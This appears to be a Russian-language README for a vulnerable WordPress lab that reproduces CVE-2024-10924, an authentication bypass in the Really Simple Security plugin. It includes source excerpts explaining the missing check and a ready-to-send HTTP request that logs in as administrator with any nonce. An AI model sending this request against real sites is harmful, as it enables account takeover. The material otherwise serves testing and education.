
ПРЕДУПРЕЖДЕНИЕ: Это уязвимое приложение для тестирования эксплойта для Really Simple Security < 9.1.2 обхода аутентификации (CVE-2024-10924). Запускайте его на свой страх и риск!
Это уязвимое приложение для тестирования эксплойта для обхода аутентификации Really Simple Security < 9.1.2 (CVE-2024-10924).
Это приложение содержит серьезные уязвимости безопасности. Запускайте его на свой страх и риск! Рекомендуется использовать среду с резервным копированием и изоляцией (например, виртуальную машину с недавним снимком и сетью только для хоста). Не загружайте это приложение на серверы, доступные из Интернета, так как они будут скомпрометированы.
ОТКАЗ ОТ ОТВЕТСТВЕННОСТИ: Я не несу ответственности за то, как кто-либо использует это приложение. Единственная цель этого приложения — быть тестовым сценарием для эксплойта обхода аутентификации Really Simple Security < 9.1.2 (CVE-2024-10924), и оно не должно использоваться со злым умыслом. Если ваш сервер будет скомпрометирован в результате установки этого приложения, это не моя ответственность, это ответственность лица(лиц), загрузивших и установивших его.
Вот шаги для настройки среды:
./up.sh для запуска композиции.Контейнер будет называться vuln-wp-really-simple-security.
Чтобы удалить среду, используйте команду ./down.sh или команду ./down_and_delete.sh, чтобы также удалить образы и том базы данных.
Посмотрев на исправление, можно понять, что в уязвимой версии функция check_login_and_get_user() возвращала объект ошибки в случае недействительного логин-нонса, не прерывая всю операцию.
private function check_login_and_get_user( int $user_id, string $login_nonce ) {
if ( ! Rsssl_Two_Fa_Authentication::verify_login_nonce( $user_id, $login_nonce ) ) {
return new WP_REST_Response( array( 'error' => 'Invalid login nonce' ), 403 );
}
/**
* Get the user by the user ID.
*
* @var WP_User $user
*/
$user = get_user_by( 'id', $user_id );
return $user;
}
В вызывающем коде, кстати, не выполнялось проверки вывода функции check_login_and_get_user() (строка 277), а просто продолжалось выполнение с функцией authenticate_and_redirect() (строка 278), используя то же значение, полученное из входных данных для ID пользователя.
public function skip_onboarding( WP_REST_Request $request ): WP_REST_Response {
$parameters = new Rsssl_Request_Parameters( $request );
// As a double we check the user_id with the login nonce.
$user = $this->check_login_and_get_user( (int)$parameters->user_id, $parameters->login_nonce );
return $this->authenticate_and_redirect( $parameters->user_id, $parameters->redirect_to );
}
Для эксплуатации уязвимости достаточно запроса, подобного следующему.
POST /?rest_route=/reallysimplessl/v1/two_fa/skip_onboarding HTTP/1.1
Host: localhost:1337
Content-Type: application/json
Content-Length: 88
Connection: keep-alive
{
"user_id": 1,
"login_nonce": "133333337",
"redirect_to": "/wp-admin/"
}
Затем соответствующим образом установите полученные сессионные куки в браузере.
user_id должен быть ID целевого пользователя, login_nonce может быть любым, так как неверное значение не заблокирует процесс.
Скрипт эксплойта на Python можно найти здесь.
Этот проект лицензирован под лицензией Unlicense - подробности см. в файле LICENSE.